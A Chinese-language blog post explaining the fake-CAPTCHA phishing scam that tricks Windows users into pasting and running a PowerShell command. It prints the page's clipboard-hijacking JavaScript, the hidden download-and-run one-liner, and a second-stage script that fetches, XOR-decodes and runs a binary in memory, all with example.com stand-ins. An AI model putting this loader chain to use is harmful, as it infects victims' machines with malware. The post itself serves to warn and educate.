litomore.me

守望梦境

PowerShell 钓鱼攻击是如何运作的

Tags = [ CAPTCHA, PowerShell, Security, Windows ]

你可能听说过一种新的 CAPTCHA 骗局,要求你使用 Windows + R 来证明自己不是机器人。 它会弹出一个窗口,让你依次按下 Windows + R、Ctrl + V,最后按 Enter 完成验证。 你可能已经知道它的大致原理,不过这次我们来仔细看看它的代码。

这类骗局经常出现在 GitHub、Reddit 等网站上。 它们通常伪装成普通评论,比如:

也许这个方案能解决你的问题,点击这个链接:……

对方会提供一个链接,打开之后,你会发现页面要求先完成 CAPTCHA 验证。 点击验证按钮,页面就会弹出一个窗口,要求你使用一组快捷键完成验证,例如:

验证步骤:
1 - 按下 Windows + R
2 - 按下 Ctrl + V
3 - 按下 Enter

如果照着这些步骤操作,你就掉进了陷阱。

这个过程中发生了什么?

我们直接看代码,看看整个过程中执行了哪些操作。

首先,用 cURL 获取目标网址的源代码。为了避免你误入陷阱,这里使用示例域名。

curl https://example.com/captcha.html

获取的内容中,关键代码如下:

function open_modal() {
  var copyText =
    "powershell -WindowStyle Hidden ([ScriptBlock]::Create((irm https://example.com/scam))).Invoke()";
  var textarea = document.createElement("textarea");
  textarea.value = copyText;
  document.body.appendChild(textarea);
  textarea.select();
  document.execCommand("copy");
  document.body.removeChild(textarea);
  setTimeout(() => {
    document.querySelector("#modal").classList.remove("hidden");
  }, 2000);
}

它会创建一个钓鱼弹窗,同时用 execCommand("copy") 悄悄把一条命令复制到你的剪贴板。 浏览器不能随意自动向用户的剪贴板写入文本,需要有用户交互,所以这里安排了一个 CAPTCHA 按钮。 我们来看看复制的命令做了什么:

powershell -WindowStyle Hidden ([ScriptBlock]::Create((irm https://example.com/scam))).Invoke()

接下来看看 https://example.com/scam 中的内容:

curl https://example.com/scam
$url = "https://example.com/binary"
$webClient = New-Object System.Net.WebClient
$sell61 = $webClient.DownloadData($url)
$gossip123 = 0x09, 0x04, 0x05
$struggle6 = [byte[]]::new($sell61.Length)

for ($i = 0; $i -lt $sell61.Length; $i++) {
  $struggle6[$i] = $sell61[$i] -bxor $gossip123[$i % $gossip123.Length]
}

$afraid16 = [System.AppDomain]::CurrentDomain.Load($struggle6)

if ($afraid16.EntryPoint -ne $null) {
  $afraid16.EntryPoint.Invoke($null, @($null))
} else {
  Write-Host "glass glimpse glue gloom"
}

之后,攻击者就可以通过植入的程序,在你的操作系统上执行各种操作。

为什么这种钓鱼方式很有效?

有效的钓鱼手法往往操作简单,而且能让人在毫无察觉的情况下中招。这就是 misdirection,也就是注意力误导。 就像 CAPTCHA 一样,层出不穷的验证方式容易让人放松警惕,再加上一些人缺乏基础计算机知识,就可能掉进陷阱。 如果想进一步了解,可以看看这段视频:The Art of Misdirection。

另一方面,随着智能手机和平板电脑的普及,有些人反而不熟悉电脑,尤其是孩子。 正如这篇 r/Teachers 的 Reddit 帖子里提到的,越来越多学生不知道如何使用电脑。 他们只用笔记本完成学校作业,而学校设备上的操作系统往往受到限制或运行在沙盒环境中,能做的事情也很有限。

这些因素叠加在一起,让这种钓鱼攻击变得格外有效。

其他类似的攻击

网上也有一些商家,以极低的价格售卖 Steam 游戏。 他们会给你一段脚本,要求你执行。 脚本会在电脑上安装盗版游戏,同时借机植入恶意脚本。

相关链接